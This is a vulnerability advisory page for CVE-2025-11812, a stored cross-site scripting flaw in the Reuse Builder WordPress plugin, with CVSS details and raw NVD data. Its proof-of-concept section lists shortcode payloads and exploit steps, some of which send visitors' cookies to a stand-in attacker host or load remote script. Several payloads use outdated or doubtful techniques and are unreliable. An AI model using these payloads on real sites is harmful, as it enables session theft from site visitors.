Security Vulnerability Report
中文
CVE-2025-11812 CVSS 6.4 MEDIUM

CVE-2025-11812

Published: 2025-11-04 05:16:03
Last Modified: 2026-04-15 00:35:42

Description

The Reuse Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'reuse_builder_single_post_title' shortcode in all versions up to, and including, 1.7. This is due to insufficient input sanitization and output escaping on the 'style' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Reuse Builder plugin for WordPress ≤ 1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Reuse Builder Stored XSS PoC --> <!-- Required: Contributor-level access or higher --> <!-- Basic XSS via style attribute --> [reuse_builder_single_post_title style="x:expression(alert('XSS'))"] <!-- Stealer payload - steals cookies --> [reuse_builder_single_post_title style="background-image:url(javascript:fetch('https://attacker.com/steal?c='+document.cookie))"] <!-- Alternative payload using event handler --> [reuse_builder_single_post_title style="width:100%;height:100%;" onload="fetch('https://attacker.com/log?d='+document.domain+'&c='+btoa(document.cookie))"] <!-- Network-based attack payload --> [reuse_builder_single_post_title style="background:url('https://attacker.com/malicious.js')"] <!-- Steps to exploit: 1. Login to WordPress with contributor account 2. Create new post or edit existing one 3. Insert the malicious shortcode 4. Publish/update the post 5. Any user visiting the page will execute the injected script -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11812", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:03.470", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Reuse Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'reuse_builder_single_post_title' shortcode in all versions up to, and including, 1.7. This is due to insufficient input sanitization and output escaping on the 'style' attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/reuse-builder/tags/1.7/shortcodes/single_post_title.php#L24", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/reuse-builder/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f796ade5-db48-4334-9a76-15326f62c9a5?source=cve", "source": "[email protected]"}]}}